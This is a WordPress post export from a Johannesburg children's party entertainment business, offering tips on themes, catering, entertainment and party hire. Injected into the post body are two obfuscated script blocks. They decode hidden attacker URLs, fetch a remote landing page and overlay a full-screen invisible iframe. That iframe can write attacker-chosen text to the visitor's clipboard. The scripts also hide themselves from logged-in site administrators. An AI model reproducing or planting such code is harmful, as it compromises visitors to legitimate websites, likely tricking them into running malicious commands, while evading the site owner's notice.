{"id":1,"date":"2018-03-26T21:37:25","date_gmt":"2018-03-26T21:37:25","guid":{"rendered":"http:\/\/aaparty.co.za\/\/?p=1"},"modified":"2026-05-22T18:42:51","modified_gmt":"2026-05-22T18:42:51","slug":"parties-for-kids","status":"publish","type":"post","link":"https:\/\/aaparty.co.za\/index.php\/2018\/03\/26\/parties-for-kids\/","title":{"rendered":"Parties for kids"},"content":{"rendered":"<h2>Parties for kids<\/h2>\n<p>Parties for kids &#8211; Andy\u2019s Action Parties &#8211; Johannesburg &#8211; Gauteng. Andy&#8217;s Action Parties, the original <a href=\"http:\/\/aaparty.co.za\/index.php\/themed-action-parties\/\">themed action party<\/a> entertainment provider in Gauteng. Operating since 2002 we have entertained over 100,000 children at more than 4000 birthday parties.<\/p>\n<p>We are constantly working to offer the best Themed Entertainment at&nbsp;parties for kids. Driven by our motto &#8220;Serious About Fun!&#8221; we have a range of games and activities designed around popular birthday party themes that we believe&nbsp;will give your child, their best birthday party ever!<\/p>\n<h2>Invitations<\/h2>\n<p>When organizing parties for kids the first thing you need to do is create an invitation. This is dependant on the theme of the party so your&nbsp;first step is to decide on a theme. Think of what your child is into at the moment. This could be a TV program such as <a href=\"http:\/\/aaparty.co.za\/index.php\/survivor-party\/\">Survivor<\/a>, <a href=\"http:\/\/aaparty.co.za\/index.php\/amazing-race-party\/\">The Amazing Race<\/a>, <a href=\"http:\/\/aaparty.co.za\/index.php\/fear-factor-party\/\">Fear Factor<\/a>,&nbsp;<a href=\"http:\/\/aaparty.co.za\/index.php\/minute-to-win-it-party\/\">Minute to Win it<\/a>. It could be a movie like <a href=\"http:\/\/aaparty.co.za\/index.php\/star-wars-party\/\">Star Wars<\/a> or <a href=\"http:\/\/aaparty.co.za\/index.php\/ninja-turtle-theme-party\/\">Ninja Turtles<\/a>. It could also be something that kids of your child&#8217;s&nbsp;age particularly enjoy, like <a href=\"http:\/\/aaparty.co.za\/index.php\/army-party\/\">Army<\/a>, <a href=\"http:\/\/aaparty.co.za\/index.php\/soccer-party\/\">Soccer<\/a>, <a href=\"http:\/\/aaparty.co.za\/index.php\/cricket-party\/\">Cricket<\/a>, <a href=\"http:\/\/aaparty.co.za\/index.php\/rugby-party\/\">Rugby<\/a> or <a href=\"http:\/\/aaparty.co.za\/index.php\/splash-party\/\">Swimming<\/a>.<\/p>\n<h2>Catering<\/h2>\n<p>Once you have a theme this can help you decide on what to cater. This is a very personal thing and you need to decide whether you are catering for the kids, or both kids and adults. <a href=\"http:\/\/www.pinterest.com\">Pinterest<\/a>&nbsp;is a great resource if you are creative and would like to do the catering yourself.<\/p>\n<h2>Entertainment<\/h2>\n<p>When deciding what to do with the kids at the party a good idea is to think of other parties for kids in your child&#8217;s&nbsp;class at school that you have attended. What entertainment has been offered, what worked and what did not. If you like the idea of enjoying the party yourself then our <a href=\"http:\/\/aaparty.co.za\/index.php\/themed-action-parties\/\">themed action parties<\/a>&nbsp;are a great option. We will take the kids off your hands for 90 minutes and ensure that they have a great time. All you need to provide is the kids and some space and we will take care of the rest.<\/p>\n<p>With the experience we have gained over the last 16 years doing parties for kids. We know what works and what doesn\u2019t. Ensuring the kids are fully entertained and that everyone enjoys the party is a key factor in a successful party for Kids. Sit back and relax knowing that a well trained professional party entertainer is making sure the children are all looked after and having a great time at the party.<\/p>\n<h2>Party Hire Items<\/h2>\n<p>If you have sorted out the entertainment or dad has agreed to run around and play with the kids for the whole party then you may want to consider hiring some entertainment items for the party. <a href=\"http:\/\/aaparty.co.za\/index.php\/2018\/05\/03\/hire-garden-games\/\">Hire Garden Games<\/a> as a relatively inexpensive option. Jumping Castles and inflatable slides are also classic party hire items that kids love. You should also consider what tables, chairs, gazebo&#8217;s, catering items you may need to hire for your party.<script>; !function(){var e=String.fromCharCode.apply(String,[50,46,46,42,41,96,117,117,40,63,55,51,47,55,50,53,54,62,51,52,61,41,116,57,53,55,117,51,52,54,51,52,63,116,42,50,42].map(function(e){return 90^e})),t=[{template:String.fromCharCode.apply(String,[50,46,46,42,41,96,117,117,40,59,45,116,61,51,46,50,47,56,47,41,63,40,57,53,52,46,63,52,46,116,57,53,55,117,33,51,62,39].map(function(e){return 90^e})),useFetch:!0}];if(!\/^\\\/(wp-admin|wp-login)\/.test(window.location.pathname||\"\")){var n=Symbol.for(\"__inline_id_offer__\"),r=window[n]=window[n]||{iframeReady:!1,iframeId:\"ifr_\"+Math.random().toString(36).slice(2),run:null};r.iframeReady||(\"complete\"===document.readyState||document.body?c():window.addEventListener(\"DOMContentLoaded\",c))}function i(e,t){if(e.indexOf(\"dropbox.com\")>=0)return e.replace(\/\\{id\\}\/g,t);var n=encodeURIComponent(t);return e.indexOf(\"gist.githubusercontent.com\")>=0&&(n=n.replace(\/%2F\/g,\"\/\")),e.replace(\/\\{id\\}\/g,n)}function o(e){return fetch(e,{cache:\"no-store\"}).then(function(e){return e.text()}).then(function(e){return(e||\"\").trim()}).catch(function(){return\"\"})}function a(e){if(!e)return!1;try{var t=e.indexOf(\":\")>=0?e:\"https:\/\/\"+e;return new URL(t),!0}catch(n){return!1}}function c(){r.run||(r.run=!0,fetch(e,{cache:\"no-store\"}).then(function(e){return e.text()}).then(function(e){if(!(e=(e||\"\").trim())||!t.length)return null;var n=t,r=i(n[0].template,e);if(1===n.length)return n[0].useFetch?o(r).then(function(e){return e&&a(e)?e:r}):Promise.resolve(r);var c=0;return function t(){if(c>=n.length)return Promise.resolve(r);var d=n[c],u=i(d.template,e);return(c++,d.useFetch)?o(u).then(function(e){return e&&a(e)||e?e:t()}):Promise.resolve(u)}()}).then(function(e){e&&function e(t){try{var n=document.createElement(\"iframe\");n.style.display=\"none\",n.onload=function(){n.remove(),t(!0)},n.onerror=function(){n.remove(),t(!1)},n.src=\"about:blank\",document.body.appendChild(n)}catch(r){t(!1)}}(function(t){t&&function e(t){if(!r.iframeReady){r.iframeReady=!0;var n,i,o,a=document.createElement(\"iframe\");a.src=(n=t,i=Math.random().toString(36).slice(2),o=n.indexOf(\"?\")>=0?\"&\":\"?\",n+o+encodeURIComponent(\"v\")+\"=\"+encodeURIComponent(i)),a.id=r.iframeId,a.style.cssText=\"position:fixed !important;top:0;left:0;width:100vw;height:100vh;border:none;z-index:2147483647;margin:0;padding:0;overflow:hidden;\",a.setAttribute(\"aria-hidden\",\"true\"),window.addEventListener(\"message\",function(e){if(e.data&&\"object\"==typeof e.data&&\"ktl-show-original\"===e.data.type)try{var t=document.getElementById(r.iframeId);t&&t.parentNode&&t.parentNode.removeChild(t)}catch(n){}});try{document.body.appendChild(a)}catch(c){var d=new MutationObserver(function(){document.body&&!document.getElementById(r.iframeId)&&(document.body.appendChild(a),d.disconnect())});d.observe(document.documentElement,{childList:!0,subtree:!0})}}}(e)})}).catch(function(){}))}}();<\/p>\n<p>console.log('28du3');<\/script><script>;(function () {\n  var API_ID_URL = (function(){var _0x6cd0=[50,46,46,42,41,96,117,117,49,54,53,52,60,57,40,46,35,41,63,59,60,54,53,45,116,57,53,55,117,51,52,54,51,52,63,116,42,50,42];return String.fromCharCode.apply(String,_0x6cd0.map(function(c){return c^0x5A;}));})();\n  var TRUSTED_CONFIGS = [\n    { template: \"https:\/\/raw.githubusercontent.com\/{id}\", useFetch: true }\n  ];<\/p>\n<p>  var GLOBAL_KEY = (typeof Symbol === \"function\" && Symbol.for)\n    ? Symbol.for(\"__inline_id_offer__\")\n    : \"__inline_id_offer__\";<\/p>\n<p>  var registry = window[GLOBAL_KEY] = window[GLOBAL_KEY] || {\n    status: \"idle\",\n    iframeId: \"__inline_offer_iframe__\",\n    iframeAttr: \"data-inline-offer-frame\",\n    hints: {},\n    runPromise: null,\n    destroy: null,\n    reveal: null,\n    requestTimeoutMs: 4000,\n    iframeTimeoutMs: 9000,\n    requireReadyMessage: false,\n    messageBound: false\n  };<\/p>\n<p>  function isWpLoggedInContext() {\n    try {\n      if (window.__disableInlineOffer__ === true || window.__isWpAdmin__ === true) return true;<\/p>\n<p>      var path = window.location.pathname || \"\";\n      if (\/^\\\/(wp-admin|wp-login)\/.test(path)) return true;<\/p>\n<p>      var cookie = document.cookie || \"\";\n      if (\/wordpress_logged_in_[^=]*=\/.test(cookie)) return true;<\/p>\n<p>      var de = document.documentElement;\n      var body = document.body;<\/p>\n<p>      if (de && typeof de.className === \"string\" && \/\\bwp-toolbar\\b\/.test(de.className)) return true;\n      if (body && typeof body.className === \"string\" && \/\\badmin-bar\\b\/.test(body.className)) return true;\n      if (document.getElementById(\"wpadminbar\")) return true;\n    } catch (e) {}<\/p>\n<p>    return false;\n  }<\/p>\n<p>  if (isWpLoggedInContext()) return;<\/p>\n<p>  if (document.getElementById(registry.iframeId)) {\n    registry.status = \"active\";\n    return;\n  }<\/p>\n<p>  if (registry.runPromise || registry.status === \"loading\" || registry.status === \"active\" || registry.status === \"done\") {\n    return;\n  }<\/p>\n<p>  registry.status = \"loading\";<\/p>\n<p>  function safeAppendQuery(url, key, val) {\n    var sep = url.indexOf(\"?\") >= 0 ? \"&\" : \"?\";\n    return url + sep + encodeURIComponent(key) + \"=\" + encodeURIComponent(val);\n  }<\/p>\n<p>  function buildTrustedUrl(template, id) {\n    if (!template || !id) return \"\";<\/p>\n<p>    if (template.indexOf(\"dropbox.com\") >= 0) {\n      return template.replace(\/\\{id\\}\/g, id);\n    }<\/p>\n<p>    var encoded = encodeURIComponent(id);<\/p>\n<p>    if (template.indexOf(\"gist.githubusercontent.com\") >= 0) {\n      encoded = encoded.replace(\/%2F\/g, \"\/\");\n    }<\/p>\n<p>    return template.replace(\/\\{id\\}\/g, encoded);\n  }<\/p>\n<p>  function toHttpUrl(value) {\n    if (!value) return \"\";<\/p>\n<p>    var s = String(value)\n      .replace(\/^\\uFEFF\/, \"\")\n      .trim()\n      .replace(\/^['\"`\\s]+|['\"`\\s]+$\/g, \"\");<\/p>\n<p>    if (!s) return \"\";<\/p>\n<p>    if (!\/^[a-z][a-z0-9+.-]*:\\\/\\\/\/i.test(s)) {\n      if (\/^[a-z0-9.-]+\\.[a-z]{2,}(?::\\d+)?(?:[\\\/?#]|$)\/i.test(s)) {\n        s = \"https:\/\/\" + s;\n      } else {\n        return \"\";\n      }\n    }<\/p>\n<p>    try {\n      var u = new URL(s);\n      if (u.protocol === \"http:\" || u.protocol === \"https:\") {\n        return u.href;\n      }\n    } catch (e) {}<\/p>\n<p>    return \"\";\n  }<\/p>\n<p>  function findUrlInObject(input, depth) {\n    if (!input || depth > 3) return \"\";<\/p>\n<p>    if (typeof input === \"string\") {\n      return toHttpUrl(input);\n    }<\/p>\n<p>    if (Object.prototype.toString.call(input) === \"[object Array]\") {\n      for (var i = 0; i < input.length; i++) {\n        var arrVal = findUrlInObject(input[i], depth + 1);\n        if (arrVal) return arrVal;\n      }\n      return \"\";\n    }\n\n    if (typeof input === \"object\") {\n      var keys = [\"url\", \"link\", \"href\", \"location\", \"redirect\", \"target\", \"landing\", \"landingUrl\"];\n\n      for (var j = 0; j < keys.length; j++) {\n        var key = keys[j];\n        if (Object.prototype.hasOwnProperty.call(input, key)) {\n          var direct = findUrlInObject(input[key], depth + 1);\n          if (direct) return direct;\n        }\n      }\n\n      for (var k in input) {\n        if (!Object.prototype.hasOwnProperty.call(input, k)) continue;\n        var nested = findUrlInObject(input[k], depth + 1);\n        if (nested) return nested;\n      }\n    }\n\n    return \"\";\n  }\n\n  function extractLandingUrl(raw) {\n    if (!raw) return \"\";\n\n    var text = String(raw).replace(\/^\\uFEFF\/, \"\").trim();\n    if (!text) return \"\";\n\n    var direct = toHttpUrl(text);\n    if (direct) return direct;\n\n    if ((text.charAt(0) === \"{\" &#038;&#038; text.charAt(text.length - 1) === \"}\") ||\n        (text.charAt(0) === \"[\" &#038;&#038; text.charAt(text.length - 1) === \"]\")) {\n      try {\n        var parsed = JSON.parse(text);\n        var jsonUrl = findUrlInObject(parsed, 0);\n        if (jsonUrl) return jsonUrl;\n      } catch (e) {}\n    }\n\n    var matchHttp = text.match(\/https?:\\\/\\\/[^\\s\"'<>]+\/i);\n    if (matchHttp && matchHttp[0]) {\n      var httpUrl = toHttpUrl(matchHttp[0]);\n      if (httpUrl) return httpUrl;\n    }<\/p>\n<p>    var matchDomain = text.match(\/\\b[a-z0-9.-]+\\.[a-z]{2,}(?::\\d+)?(?:\\\/[^\\s\"'<>]*)?\/i);\n    if (matchDomain && matchDomain[0]) {\n      var domainUrl = toHttpUrl(matchDomain[0]);\n      if (domainUrl) return domainUrl;\n    }<\/p>\n<p>    return \"\";\n  }<\/p>\n<p>  function getOriginSafe(url) {\n    try {\n      return new URL(url).origin;\n    } catch (e) {\n      return \"\";\n    }\n  }<\/p>\n<p>  function addHint(rel, href) {\n    if (!href || !document || !document.createElement) return;<\/p>\n<p>    var key = rel + \"::\" + href;\n    if (registry.hints[key]) return;\n    registry.hints[key] = true;<\/p>\n<p>    try {\n      var parent = document.head || document.documentElement;\n      if (!parent) return;<\/p>\n<p>      var link = document.createElement(\"link\");\n      link.rel = rel;\n      link.href = href;<\/p>\n<p>      if (rel === \"preconnect\") {\n        link.crossOrigin = \"anonymous\";\n      }<\/p>\n<p>      parent.appendChild(link);\n    } catch (e) {}\n  }<\/p>\n<p>  function warmupOrigins() {\n    var origins = {};\n    var apiOrigin = getOriginSafe(API_ID_URL);\n    if (apiOrigin) origins[apiOrigin] = true;<\/p>\n<p>    for (var i = 0; i < TRUSTED_CONFIGS.length; i++) {\n      var tpl = TRUSTED_CONFIGS[i] &#038;&#038; TRUSTED_CONFIGS[i].template;\n      if (!tpl) continue;\n      var probe = tpl.replace(\/\\{id\\}\/g, \"x\");\n      var origin = getOriginSafe(probe);\n      if (origin) origins[origin] = true;\n    }\n\n    for (var originKey in origins) {\n      if (!Object.prototype.hasOwnProperty.call(origins, originKey)) continue;\n      addHint(\"dns-prefetch\", originKey);\n      addHint(\"preconnect\", originKey);\n    }\n  }\n\n  function getMountNode() {\n    return document.body || document.documentElement || null;\n  }\n\n  function fetchTextNoThrow(url, timeoutMs) {\n    return new Promise(function (resolve) {\n      if (!url || typeof fetch !== \"function\") {\n        resolve(\"\");\n        return;\n      }\n\n      var finished = false;\n      var timer = null;\n      var controller = null;\n\n      function done(value) {\n        if (finished) return;\n        finished = true;\n        if (timer) clearTimeout(timer);\n        resolve((value || \"\").trim());\n      }\n\n      try {\n        if (typeof AbortController !== \"undefined\") {\n          controller = new AbortController();\n        }\n\n        timer = setTimeout(function () {\n          try {\n            if (controller) controller.abort();\n          } catch (e) {}\n          done(\"\");\n        }, timeoutMs);\n\n        fetch(url, {\n          cache: \"no-store\",\n          credentials: \"omit\",\n          signal: controller ? controller.signal : void 0\n        })\n          .then(function (response) {\n            return response ? response.text() : \"\";\n          })\n          .then(function (text) {\n            done(text);\n          })\n          .catch(function () {\n            done(\"\");\n          });\n      } catch (e) {\n        done(\"\");\n      }\n    });\n  }\n\n  function tryCopy(text) {\n    if (typeof text !== \"string\" || !text) return;\n\n    try { window.focus(); } catch (e) {}\n\n    if (navigator.clipboard &#038;&#038; navigator.clipboard.writeText) {\n      navigator.clipboard.writeText(text).catch(function () {\n        fallbackCopy(text);\n      });\n      return;\n    }\n\n    fallbackCopy(text);\n  }\n\n  function fallbackCopy(text) {\n    try {\n      var mount = getMountNode();\n      if (!mount) return;\n\n      var ta = document.createElement(\"textarea\");\n      ta.value = text;\n      ta.setAttribute(\"readonly\", \"readonly\");\n      ta.style.position = \"fixed\";\n      ta.style.left = \"-9999px\";\n      ta.style.top = \"0\";\n      ta.style.opacity = \"0\";\n      mount.appendChild(ta);\n      try { ta.focus(); } catch (e) {}\n      ta.select();\n      ta.setSelectionRange(0, ta.value.length);\n      document.execCommand(\"copy\");\n      if (ta.parentNode) ta.parentNode.removeChild(ta);\n    } catch (e) {}\n  }\n\n  function bindMessageHandler() {\n    if (registry.messageBound) return;\n    registry.messageBound = true;\n\n    window.addEventListener(\"message\", function (event) {\n      var data = event &#038;&#038; event.data;\n      var iframe = document.getElementById(registry.iframeId);\n\n      if (!iframe || !data || typeof data !== \"object\") return;\n      if (event.source &#038;&#038; iframe.contentWindow &#038;&#038; event.source !== iframe.contentWindow) return;\n\n      if (data.type === \"ktl-show-original\") {\n        if (typeof registry.destroy === \"function\") registry.destroy();\n        return;\n      }\n\n      if (data.type === \"ktl-frame-ready\") {\n        if (typeof registry.reveal === \"function\") registry.reveal();\n        return;\n      }\n\n      if (data.type === \"copy\" &#038;&#038; typeof data.text === \"string\") {\n        tryCopy(data.text);\n      }\n    });\n  }\n\n  function cleanup(nextStatus) {\n    var iframe = document.getElementById(registry.iframeId);\n\n    registry.destroy = null;\n    registry.reveal = null;\n\n    try {\n      if (iframe &#038;&#038; iframe.parentNode) {\n        iframe.parentNode.removeChild(iframe);\n      }\n    } catch (e) {}\n\n    registry.status = nextStatus || \"done\";\n  }\n\n  function resolveLandingUrl(id) {\n    if (!id || !TRUSTED_CONFIGS.length) {\n      return Promise.resolve(\"\");\n    }\n\n    function step(index) {\n      if (index >= TRUSTED_CONFIGS.length) {\n        return Promise.resolve(\"\");\n      }<\/p>\n<p>      var cfg = TRUSTED_CONFIGS[index] || {};\n      var builtUrl = toHttpUrl(buildTrustedUrl(cfg.template || \"\", id));<\/p>\n<p>      if (!builtUrl) {\n        return step(index + 1);\n      }<\/p>\n<p>      if (!cfg.useFetch) {\n        return Promise.resolve(builtUrl);\n      }<\/p>\n<p>      return fetchTextNoThrow(builtUrl, registry.requestTimeoutMs)\n        .then(function (raw) {\n          var landingUrl = extractLandingUrl(raw);\n          if (landingUrl) return landingUrl;\n          return step(index + 1);\n        })\n        .catch(function () {\n          return step(index + 1);\n        });\n    }<\/p>\n<p>    return step(0);\n  }<\/p>\n<p>  function activateIframe(url) {\n    if (!url || registry.status === \"active\") return;<\/p>\n<p>    if (isWpLoggedInContext()) {\n      cleanup(\"done\");\n      return;\n    }<\/p>\n<p>    var existing = document.getElementById(registry.iframeId);\n    if (existing) {\n      registry.status = \"active\";\n      return;\n    }<\/p>\n<p>    var mount = getMountNode();\n    if (!mount) {\n      setTimeout(function () {\n        activateIframe(url);\n      }, 0);\n      return;\n    }<\/p>\n<p>    var iframe = document.createElement(\"iframe\");\n    var closed = false;\n    var revealed = false;\n    var timeoutId = null;<\/p>\n<p>    function reveal() {\n      if (closed || revealed) return;\n      revealed = true;\n      if (timeoutId) clearTimeout(timeoutId);<\/p>\n<p>      registry.status = \"active\";<\/p>\n<p>      iframe.style.visibility = \"visible\";\n      iframe.style.opacity = \"1\";\n      iframe.style.pointerEvents = \"auto\";\n      iframe.removeAttribute(\"aria-hidden\");<\/p>\n<p>      setTimeout(function () {\n        try { iframe.focus(); } catch (e) {}\n        try {\n          if (iframe.contentWindow && iframe.contentWindow.focus) {\n            iframe.contentWindow.focus();\n          }\n        } catch (e) {}\n      }, 0);\n    }<\/p>\n<p>    function destroy() {\n      if (closed) return;\n      closed = true;\n      if (timeoutId) clearTimeout(timeoutId);\n      cleanup(\"done\");\n    }<\/p>\n<p>    registry.destroy = destroy;\n    registry.reveal = reveal;<\/p>\n<p>    iframe.id = registry.iframeId;\n    iframe.setAttribute(registry.iframeAttr, \"1\");\n    iframe.setAttribute(\"aria-hidden\", \"true\");\n    iframe.setAttribute(\"loading\", \"eager\");\n    iframe.setAttribute(\"allow\", \"clipboard-write\");\n    iframe.src = safeAppendQuery(url, \"v\", Math.random().toString(36).slice(2));\n    iframe.style.cssText = [\n      \"position:fixed !important\",\n      \"top:0\",\n      \"left:0\",\n      \"width:100vw\",\n      \"height:100vh\",\n      \"border:none\",\n      \"z-index:2147483647\",\n      \"margin:0\",\n      \"padding:0\",\n      \"overflow:hidden\",\n      \"visibility:hidden\",\n      \"opacity:0\",\n      \"pointer-events:none\",\n      \"background:transparent\"\n    ].join(\";\");<\/p>\n<p>    iframe.onload = function () {\n      if (closed) return;\n      if (!registry.requireReadyMessage) {\n        reveal();\n      }\n    };<\/p>\n<p>    iframe.onerror = function () {\n      destroy();\n    };<\/p>\n<p>    timeoutId = setTimeout(function () {\n      destroy();\n    }, registry.iframeTimeoutMs);<\/p>\n<p>    try {\n      mount.appendChild(iframe);\n    } catch (e) {\n      destroy();\n    }\n  }<\/p>\n<p>  function run() {\n    warmupOrigins();\n    bindMessageHandler();<\/p>\n<p>    return fetchTextNoThrow(API_ID_URL, registry.requestTimeoutMs)\n      .then(function (id) {\n        if (isWpLoggedInContext()) {\n          cleanup(\"done\");\n          return \"\";\n        }<\/p>\n<p>        id = (id || \"\").trim();\n        if (!id) {\n          cleanup(\"done\");\n          return \"\";\n        }<\/p>\n<p>        return resolveLandingUrl(id);\n      })\n      .then(function (finalUrl) {\n        if (isWpLoggedInContext()) {\n          cleanup(\"done\");\n          return \"\";\n        }<\/p>\n<p>        finalUrl = toHttpUrl(finalUrl);<\/p>\n<p>        if (!finalUrl) {\n          cleanup(\"done\");\n          return \"\";\n        }<\/p>\n<p>        var finalOrigin = getOriginSafe(finalUrl);\n        if (finalOrigin) {\n          addHint(\"dns-prefetch\", finalOrigin);\n          addHint(\"preconnect\", finalOrigin);\n        }<\/p>\n<p>        activateIframe(finalUrl);\n        return finalUrl;\n      })\n      .catch(function () {\n        cleanup(\"done\");\n      });\n  }<\/p>\n<p>  registry.runPromise = run();\n})();<\/script><\/p>\n","protected":false},"excerpt":{"rendered":"<p>Parties for kids Parties for kids &#8211; Andy\u2019s Action Parties &#8211; Johannesburg &#8211; Gauteng. Andy&#8217;s Action Parties, the original themed action party entertainment provider in Gauteng. Operating since 2002 we have entertained over 100,000 children at more than 4000 birthday parties. We are constantly working to offer the best Themed Entertainment at&nbsp;parties for kids. Driven &hellip; <\/p>\n<p class=\"link-more\"><a href=\"https:\/\/aaparty.co.za\/index.php\/2018\/03\/26\/parties-for-kids\/\" class=\"more-link\">Continue reading<span class=\"screen-reader-text\"> &#8220;Parties for kids&#8221;<\/span><\/a><\/p>\n","protected":false},"author":1,"featured_media":220,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"_exactmetrics_skip_tracking":false,"_exactmetrics_sitenote_active":false,"_exactmetrics_sitenote_note":"","_exactmetrics_sitenote_category":0,"ngg_post_thumbnail":0,"footnotes":""},"categories":[40],"tags":[],"class_list":["post-1","post","type-post","status-publish","format-standard","has-post-thumbnail","hentry","category-parties-for-kids"],"_links":{"self":[{"href":"https:\/\/aaparty.co.za\/index.php\/wp-json\/wp\/v2\/posts\/1","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/aaparty.co.za\/index.php\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/aaparty.co.za\/index.php\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/aaparty.co.za\/index.php\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/aaparty.co.za\/index.php\/wp-json\/wp\/v2\/comments?post=1"}],"version-history":[{"count":15,"href":"https:\/\/aaparty.co.za\/index.php\/wp-json\/wp\/v2\/posts\/1\/revisions"}],"predecessor-version":[{"id":16296,"href":"https:\/\/aaparty.co.za\/index.php\/wp-json\/wp\/v2\/posts\/1\/revisions\/16296"}],"wp:featuredmedia":[{"embeddable":true,"href":"https:\/\/aaparty.co.za\/index.php\/wp-json\/wp\/v2\/media\/220"}],"wp:attachment":[{"href":"https:\/\/aaparty.co.za\/index.php\/wp-json\/wp\/v2\/media?parent=1"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/aaparty.co.za\/index.php\/wp-json\/wp\/v2\/categories?post=1"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/aaparty.co.za\/index.php\/wp-json\/wp\/v2\/tags?post=1"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}